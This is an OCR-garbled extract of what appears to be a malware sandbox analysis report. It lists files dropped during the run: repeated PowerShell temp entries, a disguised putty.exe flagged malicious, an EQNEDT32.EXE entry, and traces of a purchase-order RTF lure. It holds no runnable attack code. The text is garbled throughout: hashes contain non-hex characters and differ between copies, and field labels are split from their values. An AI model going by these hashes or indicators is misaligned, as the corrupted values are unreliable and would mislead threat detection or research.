SHA-512: 029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BF
DC

Malicious: false

Preview:

W.ind.ows.....2.....((
<...P.ro.grams..@.s.he.l

.STARTM~L1.,j...
1.3.2..d.ll,.-2.1.7.8.2......1....xJu=..ACCESS~1..l...
.................. W.i.n.d.o.w.s. .P.owe.r.S.he.ll..v.2k.

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2LEBW47ZOWFLR8R4EIZW.temp

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit):  3.5887472798643487

Encrypted: false

SSDEEP: 96:chQCsMqg9qvsqvJCwoEz8hQCsMq9qvsEHyqvICwor2zg1KrUHTZqO1lUValu:cyEoEz8yQHnor2zgUwZqOTIu

MD5: BFAA30A5C37B55038690E734321B6D44

SHA1L: 39976435A57FE27E4555B88A074DOEOFEE19DFEA

SHA-256: CB8895A9E844485AAB1D21732EA89D4894E4EC885AB2DDAEAA3FAOFF8B636A0A4

SHA-512: 029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BEIFECEAEC43BF
DC

Malicious: false

Preview:

W.ind.ow.s.....l...((
<...Programs..@.s.he.l
Sawdrfo..BulAcccessories.@.s.h.ell3.2..d.ll.,.-.2.1.7.6.1....J.1.......".WINDOW~1.R........,..-" ...
., \WINDOW~2.LNK..Z....... W.i.n.d.o.w.s.

.STARTM~L1.,j...
1.3.2..d.ll.,.-.2.1.7.8.2......1....xJu=..ACCESS~1..l...
.................. W.i.n.d.o.w.s. .P.ow.e.r.S.he.ll..v.2k.

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3H1367L1BDS7CTFGY5QN.temp

Process: C:\Windows\SyswOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit):  3.5887472798643487

Encrypted: false

SSDEEP: 96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvICwor2zg1lKrUHTZqO1lUValu:cyEoEz8yQHnor2zgUwZgOTIu

MD5: BFAA30A5C37B55038690E734321B6D44

SHA1L: 39976435A57FE27E4555B88A074DOEOFEE19DFEA

SHA-256: C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DDA4EAA3FAOFF8B636A0A4

SHA-512: 029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BF
DC

Malicious: false

Preview:

W.ind.ows.....1....:((

.STARTM~1.,j... <...P.ro.grams..@.s.he.l

1.3.2..d.ll.,.-2.1.7.8.2.......1.... xJu=..ACCESS~1..I.........wJr*.................B....A.c.cesss.ories..@.s.hell3.2.dll,.-2176.1...}1L...:".WINDOW~1.R........ R
.................. W.i.nd.ow.s. .P.ow.erS.he.ll..v.2k..., WINDOW~2LNK..Z............ .= Weiinud.owes,

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4CI4KFVKZ4NIIGS67BYA.temp

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.5887472798643487

Encrypted: false

SSDEEP: 96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zglKruHTZqO1lUValu:cyEoEz8yQHnor2zgUwZqOTIu

MD5: BFAA30A5C37B55038690E734321B6D44

SHAL: 39976435A57FE27E4555B88A074DOEOFEEL9DFEA

SHA-256: C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DDAEAA3FAOFF8B636A0A4

SHA-512: 029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BEOFECEAECA43BF
DC
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C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4CI4KFVKZ4NIIGS67BYA.temp
Malicious: false

Preview:

W.ind.ows.....1.....((
.STARTM~1.,j... <...P.ro.grams..@.s.he.l
1.3.2..d.ll,.-.2.1.7.8.2......1....xJu=..ACCESS~1..l...

.................. W.i.n.d.o.w.s. .P.owe.r.S.he.ll..v.2k.

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4P5DG6JLEIAKTTN7AFAM.temp

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit):  3.5887472798643487

Encrypted: false

SSDEEP: 96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zglKrUHTZqO1lUValu:cyEoEz8yQHnor2zgUwZqOTIu

MDS5: BFAA30A5C37B55038690E734321B6D44

SHA1L: 39976435A57FE27E4555B88A074D0EOFEE19DFEA

SHA-256: CB8895A9EB44485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FAOFF8B636A0A4

SHA-512: 029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BEOFECEAEC43BF
DC

Malicious: false

Preview:

W.ind.ow.s.....1....i((
<...Pro.grams..@.s.he.l
Sawdrto........B...Access.ories..@.s.hell3.2.dll,.-217.6.1...j1.. " .WINDOW~1.R.....,..""*. ...
o WINDOW~2.LNK..Z ...t ¥ S, W.i.n.d.o.w.s.

.STARTM~L1.,j...
1.3.2..d.l1.,.-.2.1.7.8.2......1....xJu=..ACCESS~1..l...
.................. W.i.n.d.o.w.s. .P.ow.e.r.S.he.ll..v.2k.

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7B3GSZ6GYLYURCXR4C11.temp

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: data
Category: dropped
Size (bytes): 8016
Entropy (8bit):  3.5887472798643487
Encrypted: false
SSDEEP: 96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUValu:cyEoEz8yQHnor2zgUwZqOTIu
MD5: BFAA30A5C37B55038690E734321B6D44
SHAL: 39976435A57FE27E4555B88A074DOEOFEE19DFEA
SHA-256: C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DDAEAA3FAOFF8B636A0A4
SHA-512: 029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAECA43BF
DC
Malicious: false
Preview:
8.D... Xq D XQ D Koo P.O. it t00../C: N \1.... {3\ PROGRA~3..D......to fIN0 Ko P.r.o
Wind.ows.....1...:((

gram.Data...X.1.. LIV M.i.c.r.o.s.0.ft....R.1...wJ;.. Windows.<.........wJ;.*
.STARTM~1.j : @.....Start .Me.nu..@.s.h.ell3.2.dll,.-21.7.86...~1....Pf.Programs..f...
1.3.2..d.ll.,.-2.1.7.8.2......1.... xJu=..ACCESS~1..l...
.................. W.i.n.d.o.w.s. .P.ow.e.r.S.he.ll..v.2k.

Pf.x. .
SwWdrFo.n Bl Acccessories..@.s.h.ell3.2..d.Ll.,.-.2.1.7.6.1....J. 1. .WINDOW~1.R.......,..-" ...

..<...Programs..@.s.he.l

o WINDOW~2.LNK..Z......... %S, W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8XFR1BD6SCYFQV1RQB28.temp

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit):  3.5887472798643487

Encrypted: false

SSDEEP: 96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zglKrUHTZqO1lUValu:cyEoEz8yQHnor2zgUwZqOTIu

MD5: BFAA30A5C37B55038690E734321B6D44

SHAL: 39976435A57FE27E4555B88A074DOEOFEELI9DFEA

SHA-256: C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DDAEAA3FAOFF8B636A0A4

SHA-512: 029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BEOFECEAECA3BF
DC

Malicious: false

Preview:
................................... FLoooiriioeen B 08D X0 {D.. XQ{D . Ko PLOL 1 4000 /CoN ML {JN PROGRA~3.D. {0V K PLTLOL
gram.D.ata...X.1l..~Jv. MICROS~1.@........~J|V*...l..cccooorin M.i.cr.o.s.0.ft....R.1....wJ;.. Windows.<.........wJ;.* W.ind.ows.....1.....((
.STARTM~1..j Ll @....Start. .Menu..@.s.hell3.2.dll,-2178.6....~.1....Pf.Programs..f..... <...Pro.grams..@.s.he.l

1.3.2..d.ll,.-.2.1.7.8.2......1....xJu=..ACCESS~1..l...
.................. W.i.nd.ow.s. .P.owe.rS.he.ll..v.2k

Sawdrfo.. Bl Access.ories.@.s.hell3.2..dll,.-217.6.1....}.1.....
o WINDOW~2.LNK..Z.......0.. %S, W.i.n.d.o.w.s.

~WINDOW~1.R........,.."
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C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AVDRYM8FRBAWHHXBOBP2.temp

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit):  3.5887472798643487

Encrypted: false

SSDEEP: 96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zglKrUHTZqO1lUValu:cyEoEz8yQHnor2zgUwZqOTIu

MDS5: BFAA30A5C37B55038690E734321B6D44

SHA1L: 39976435A57FE27E4555B88A074D0EOFEE19DFEA

SHA-256: CB8895A9EB44485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FAOFF8B636A0A4

SHA-512: 029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BF
DC

Malicious: false

Preview:

.................. P.O. .i....#00.../C\....vvve M1 {JN. PROGRAS3..D.... {3 K <oee.Pr.0

gram.D.ata...X1...~Jv. MICROS~1..@ M..cros.oft. R1...wl.. WiNdows.<.......WJ;. % W.in.d.ow.s......l....x((
LSTARTM~1. j.......io((%ee @....Start. .Men.u..@.s.hell3.2.dll,.-21786....~.1....Pf.Programs..f.. Pfx... ....P.ro.grams..@.s.h.e.l

".WINDOW~1..R.....

1.3.2..d.1l.,.-2.1.7.8.2......1....xJu=..ACCESS~1..Il.....wJr*.................B.....A.c.ces.s.ories..@.s.h.ell3.2.dll,.-2176.1....1
.................. W.i.n.d.ow.s. .P.owe.r.S.he.ll..v.2k..., WINDOW~2.LNK..Z.......,...,)*. .= WaindLowwes.

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EEKQG9XN76H40CBFUCNX.temp

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit):  3.5887472798643487

Encrypted: false

SSDEEP: 96:chQCsMqg9qvsqvJCwoEz8hQCsMg9qvsEHyqvICwor2zg1KrUHTZqO1lUValu:cyEoEz8yQHnor2zguwZqOTIu

MD5: BFAA30A5C37B55038690E734321B6D44

SHA1L: 39976435A57FE27E4555B88A074DOEOFEE19DFEA

SHA-256: C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DDAEAA3FAOFF8B636A0A4

SHA-512: 029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAECA43BF
DC

Malicious: false

Preview:

.................. P.O. Q... #00.../C\.coe M1 {3\ PROGRAS3.D... {3V ke
M..cros.oft. . R1..wl.. WINdows.<.......WJ;.*....cccormrinnnans W..n.d.ow.s.....1.....;

gram.pD.ata...X.1...~Jv. MICROS~1.@

LSTARTM~L. j..((he. @....Start. .Menu..@s.hell32.dll,.-2178.6...~1...Pf.Programs..f.. Pf*....... ...Programs..@s.h.el
1.3.2..d.ll.,.-.2.1.7.8.2......1.... xJu=..ACCESS~1..l......wlr*................B....Acc.c.es;s.ories..@.s.hell3.2.dll,.-2176.1..j1 ".WINDOW~1..R.....
.................. W.i.n.d.o.w.s. .P.ow.e.rShell..v.2k..., WINDOW~2.LNK..Z.......,....,* ... = WaiinudLoowes.

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\F2WE7AF7Y6WB50ZCOFKB.temp

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit):  3.5887472798643487

Encrypted: false

SSDEEP: 96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1lKrUHTZgO1lUValu:cyEoEz8yQHnor2zgUwZqOTIu

MD5: BFAA30A5C37B55038690E734321B6D44

SHA1L: 39976435A57FE27E4555B88A074DOEOFEE19DFEA

SHA-256: C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DDAEAA3FAOFF8B636A0A4

SHA-512: 029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BEOFECEAECA3BF
DC

Malicious: false

Preview:

.................. P.O. Q... 400../C\......ceeee M1 {JN PROGRAS3..D.LL {3V K w....Pr.0

gram.Data...X.1...~Jv. MICROS~1.@ M..cros.oft.  R1..wl.. Windows.<.....wWJ;*. ... W.i.n.d.ow.s....1......((
LSTARTM~1. j.......io((*e. @....Start. .Men.u..@.s.hell3.2.dll,.-21786...~.1...Pf.Programs..f......PfL.*. .. ....P.ro.grams..@.s.he.l

1.3.2..d.l1,.-.2.1.7.8.2......1....xJu=.. ACCESS~1..l.....wJr*.............B...,Access.ories.@.s.hell32.dll,.-2176.1..j1
.................. W.ind.ow.s. .P.owe.rS.he.ll..v.2k..., WINDOW~2.LNK..Z........,...,*... = Waiinud.owes.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FCPAQPOU283A0764ZRGF.temp

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.5887472798643487
Encrypted: false
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C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FCPAQPOU283A0764ZRGF.temp

SSDEEP: 96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zglKruHTZqO1lUValu:cyEoEz8yQHnor2zgUwZqOTIu

MDS5: BFAA30A5C37B55038690E734321B6D44

SHA1L: 39976435A57FE27E4555B88A074D0EOFEE19DFEA

SHA-256: CB8895A9EB44485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FAOFF8B636A0A4

SHA-512: 029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BF
DC

Malicious: false

Preview:

W.i.nd.ows.....2.....((
<...P.ro.grams..@.s.he.l
Sawdro.n Bl Acccesis.ories.@.s.hell3.2..d.ll.,.-2.1.7.6.1.....0.....".WINDOW~1..R.......,.."%......
o WINDOW~2.LNK..Z.......o ot F S, W.i.n.d.o.w.s.

.STARTM~L1.,j...
1.3.2..d.ll,.-2.1.7.8.2......1....xJu=..ACCESS~1..l...
.................. W.i.n.d.o.w.s. .P.owe.r.S.he.ll..v.2k.

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HRCPZKAQJPHRKCJGAOBG6.temp

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit):  3.5887472798643487

Encrypted: false

SSDEEP: 96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zglKrUHTZqO1lUValu:cyEoEz8yQHnor2zguUwZqOTIu

MDS5: BFAA30A5C37B55038690E734321B6D44

SHA1L: 39976435A57FE27E4555B88A074D0EOFEE19DFEA

SHA-256: CB8895A9EB44485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FAOFF8B636A0A4

SHA-512: 029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BEOFECEAEC43BF
DC

Malicious: false

Preview:

gram.D.ata
.STARTM~L1.j
1.3.2..d.ll,.-.2.1.7.8.2......1....xJu=..ACCESS~1..l...
.................. W.i.n.d.o.w.s. .P.ow.e.r.S.he.ll..v.2k.

W.ind.ow.s.....1....((

<...Programs..@.s.he.l
Sawdrfo.......B...Acc.ess.ories..@.s.hell3.2.dll,.-217.6.1....j1. . " .WINDOW~1.R.....,.""*. ...
. JWINDOW~2.LNK..Z.......00. o % S, W.i.n.d.o.w.s.

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\J3LJ5ZTSD62CYZT7K57S.temp

Process: C:\Windows\SysWwOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.5887472798643487

Encrypted: false

SSDEEP: 96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUValu:cyEoEz8yQHnor2zgUwZgOTIu

MD5: BFAA30A5C37B55038690E734321B6D44

SHAL: 39976435A57FE27E4555B88A074DOEOFEE19DFEA

SHA-256: C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DDA4EAA3FAOFF8B636A0A4

SHA-512: 029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAECA43BF
DC

Malicious: false

Preview:
................................... FLooovivivo B 08D X0 D XQ D . Ko PLOL 4000 /CoN ML {JN PROGRASB.D {0V K PLTLOL
gramD.ata W.indows.....1....:((

X.1...~Jv. MICROS~1..@........~J V5.l M.i.c.ro.s.oft....R.1..wJ;.. Windows.<.........wJ;.*

.STARTM~1..j @....Start. .Men.u..@.s.hell3.2.dll,.-2178.6...~.1....Pf.Programs..f... <...Pro.grams..@.s.he.l
1.3.2..d.ll,.-.2.1.7.8.2.....1....xJu=.. ACCESS~1..l.....wJr*.............B...,Access.ories.@.s.hell3.2.dll,.-2176.1..}1..:" .WINDOW~1.R.........;" ...
.................. W.i.nd.ow.s. .P.owerS.he.ll..v.2k..., WINDOW~2.LNK..Z.......,...,)*...= o WaiinLdoowes.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\L1K4Z3QAV8WJSJIXBXXLF.temp

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.5887472798643487

Encrypted: false

SSDEEP: 96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zglKrUHTZqO1lUValu:cyEoEz8yQHnor2zgUwZqOTIu

MD5: BFAA30A5C37B55038690E734321B6D44

SHAL: 39976435A57FE27E4555B88A074DOEOFEEL9DFEA

SHA-256: C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DDAEAA3FAOFF8B636A0A4

SHA-512: 029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7FI30CB832095499678BEOFECEAECA43BF
DC

Malicious: false
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C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\L1K4Z3QAV8WJSJXBXXLF.temp

Preview:

W.ind.ows.....2....:((
<...Pro.grams..@.s.he.l
sawdrFon Bl Accesisoriess..@.s.hell.3.2..d.ll.,.-2.1.7.6.1....).1......".WINDOW~1..R......,.."*......
o WINDOW~2.LNK..Z.......o i S, W.i.n.d.o.w.s.

.STARTM~L1.,j...
1.3.2..d.ll,.-.2.1.7.8.2......1....xJu=..ACCESS~1..l...
.................. W.i.n.d.ow.s. .P.owe.r.S.he.ll..v.2k.

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\L5VVX7YYIMT7DW11Y4X5.temp

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit):  3.5887472798643487

Encrypted: false

SSDEEP: 96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zglKrUHTZqO1lUValu:cyEoEz8yQHnor2zgUwZqOTIu

MDS5: BFAA30A5C37B55038690E734321B6D44

SHA1L: 39976435A57FE27E4555B88A074D0EOFEE19DFEA

SHA-256: CB8895A9EB44485AAB1D21732EA89D4894E4EC885AB2DDAEAA3FAOFF8B636A0A4

SHA-512: 029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BEOFECEAEC43BF
DC

Malicious: false

Preview:

gram.D.ata
.STARTM~L1.j
1.3.2..d.ll,.-.2.1.7.8.2......1.....xJu=..ACCESS~1..l...
.................. W.i.n.d.o.w.s. .P.o.w.e.r.S.he.ll..v.2k.

W.ind.ow.s......1....i((

<...Pro.grams..@.s.he.l
Sawdrfo......Bi Ac.ccess.ories..@.s.h.ell3.2.dll,.-217.6.1...})1.. " .WINDOW~1.R.....,.""*. ...
o WINDOW~2.LNK..Z ...t ¥ S W.i.n.d.o.w.s.

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\X19R6W5JAWN25N20PW1T.temp

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit):  3.5887472798643487

Encrypted: false

SSDEEP: 96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUValu:cyEoEz8yQHnor2zgUwZgOTIu

MD5: BFAA30A5C37B55038690E734321B6D44

SHAL: 39976435A57FE27E4555B88A074DOEOFEE19DFEA

SHA-256: C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DDAEAA3FAOFF8B636A0A4

SHA-512: 029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAECA43BF
DC

Malicious: false

Preview:
................................... FLuvrriinriiien 008D XQ D XGAD. Ko PO 1t 400, /C M ML {J ). PROGRA~3..D...co.. {3\ Ko PLELOL
gram.D.ata

X.1....~J|v. MICROS~1..@........~d[V¥. L M.i.c.ro.s.o.ft....R.1..wJ;.. Windows.<.........wJ;.* Wind.ows......1...:((

.STARTM~1.j @.....Sttart .Me.nu..@.s.h.ell3.2.dll,.-21.7.86...~1...Pf.Programs..f... ..<...Programs..@.s.he.l
1.3.2..d.ll.,.-2.1.7.8.2.....1.... xJu=..ACCESS~1..l......wlr*..................B....A.c.ce.s;s.ories.@.s.hell3.2.dll,.-2176.1...j.1.. " .WINDOW~1.R....,."*...
.................. W.i.n.d.ow.s. .P.owe.rShell..v.2k..., WINDOW~2.LNK..Z............,* .= WaiinudLowes.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Y0S2534Q547WV8UUME7Q.temp

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit):  3.5887472798643487

Encrypted: false

SSDEEP: 96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zglKrUHTZqO1lUValu:cyEoEz8yQHnor2zgUwZqOTIu

MD5: BFAA30A5C37B55038690E734321B6D44

SHAL: 39976435A57FE27E4555B88A074DOEOFEELI9DFEA

SHA-256: C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DDAEAA3FAOFF8B636A0A4

SHA-512: 029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7FI30CB832095499678BEOFECEAECA3BF
DC

Malicious: false

Preview:
................................... FLooovivivien B 08D X0 {D.. XQ D . K PLOL 1 400./Coin ML {JN PROGRA~3.D. {0V K PLTLOL
gram.D.ata...X.1l..~Jv. MICROS~1.@........~J|V*..l..ccocoooriin M.i.c.r.o.s.0.ft...R.1...wJ;.. Windows.<.........wJ;.* W.ind.ows.....1.....((
.STARTM~1.,j.......: @....Start .Menu..@.s.hell3.2.dll,-2178.6....~.1....Pf.Programs..f..... <...Pro.grams..@.s.he.l

1.3.2..d.ll,.-.2.1.7.8.2......1....xJu=..ACCESS~1..l...
.................. W.i.nd.ow.s. .P.owe.rS.he.ll..v.2k

SawdrFo..n Bl Access.ories.@.s.h.ell3.2..dll,.-217.6.1....}.1.....
o WINDOW~2.LNK..Z......... %S W.i.n.d.o.w.s.

~WINDOW~1.R.......,.." ...
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Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Antivirus:

Preview:

C:\Users\user\AppData\Roaming\putty.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

144168

5.669635797936692

false

1536:Xyw+FI90LoD0ZCAZz15f22kDM7b0jaH4ZinJ0iQjx:XyhFDhD0OgOqQQjx
F72277EEBAF6B7E2891B7BA24188EBDA
4E50012A8102409F570EE4B36785D7BAASDCA364
9B907AE3D2D9F776C068A4B2371D1BFCO4EOED359FC68B8863660301C5A644B9

D10AB16ECF5035E9BAS5C7373B9EIFSE26B01C9669318DCOEF558224F63237C9EFOFE32263C0C1F7A848EFAFC68AA3F91ESDOFADB2C3A93A14A5F1CDOD45DAE
D

true

e Antivirus: ReversingLabs, Detection: 13%

..H text Ko ISR ISIC.ee
. . . *B.(. F>orep.olll (0. s (Lt 20 %.r...p.%.r...p
Y%.r...p.(....rl..po....... Pt TN (O | o] (O (coeee FH Pl [ (v + X0 ~ (et [ 700 T %.r...p.%.r...p.%.r...p.%.1...p.%.r...p.
%.r...p.%.r...p.%.r...p.%.r...p.%..r...p.%..r...p.%..r...p.%

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Antivirus:

Preview:

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

144168

5.669635797936692

false

1536:Xyw+FI90LoD0ZCAz15f22kDM7b0jaH4ZinJ0iQjx:XyhFDhDOgOGQQjx
F72277EEBAF6B7E2891B7BA24188EBDA
4E50012A8102409F570EE4B36785D7BAASDCA364
9B907AE3D2D9F776C068A4B2371D1BFCO4EOED359FC68B8863660301C5A644B9

D10AB16ECF5035E9BA5C7373B9EIF5E26B01C9669318DCOEF558224F63237COEFOFE32263C0C1F7A848EFAFC68AA3F91ES8DOFADB2C3A93A14A5F1CDODA45DAE
D

true

e Antivirus: ReversingLabs, Detection: 13%

ext...K... ... . .@. h
. LR %.r...p.%.r...p
R (HN AT [/ s B %.r...p.%.r..p.%.r...p.%.r...p.%.r...p.

Y%.r...p.

%.r..p.%.r...p.%.r...p.%.r..p.%..r..p.%..r..p.%..r..p.%

C:\Usersl\user\Desktop\~$stomer-unionroadwaysltd-8754-PO.doc__.rtf

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWtVysAiINGIzgY Gwg32LbO/In:vdsCkWthASq+
4ACDEC46BF4C5E1435E277CB4821D6306
506F3E77835A2AE504189833D4EF30799A0ACE45
39A3F2156450758ACBBCB3D8E9461BB4CDD93F41A3EC3A4013F4EB8D2A906537

7039ED1E181A8368526A65F6F0D2F70ESBCEBD37BB3BFD8E270BB305F405DB0D843B1CAFGE4E0SF6CF1D203A8AA326A1316CDDDD085DD59DB15A82A26E6FA
75

false

LUSBT ettt Alb.us............. Pttt P Zoeieinnn X...

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

C:\Users\user\AppData\Roaming\putty.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
modified

144168

5.669635797936692

false
1536:Xyw+FI90LoD0ZCAz15f22kDM7b0jaH4ZinJ0iQjx:XyhFDhDOgOqQQijx
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MDS5: F72277TEEBAF6B7E2891B7BA24188EBDA

SHA1L: 4E50012A8102409F570EE4B36785D7BAASDCA364

SHA-256: 9B907AE3D2D9F776C068A4B2371D1BFCO4EOED359FC68B8863660301C5A644B9

SHA-512: D10AB16ECF5035E9BA5C7373BIEIF5E26B01CI669318DCIEF558224F63237CIEFOFE32263C0C1F7A848EF4FC68AA3FI1EBDOFADB2C3A93A14A5F1CDOD45DAE
D

Malicious: true

Antivirus: e Antivirus: ReversingLabs, Detection: 13%

Preview:

MZ.

Y%0.r...p.
%.r...p.%.r...p.%.

. p(..
...p.%.r..p.%..r...p.%..r..p.%..r...p.%

Static File Info

General
File type:

Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

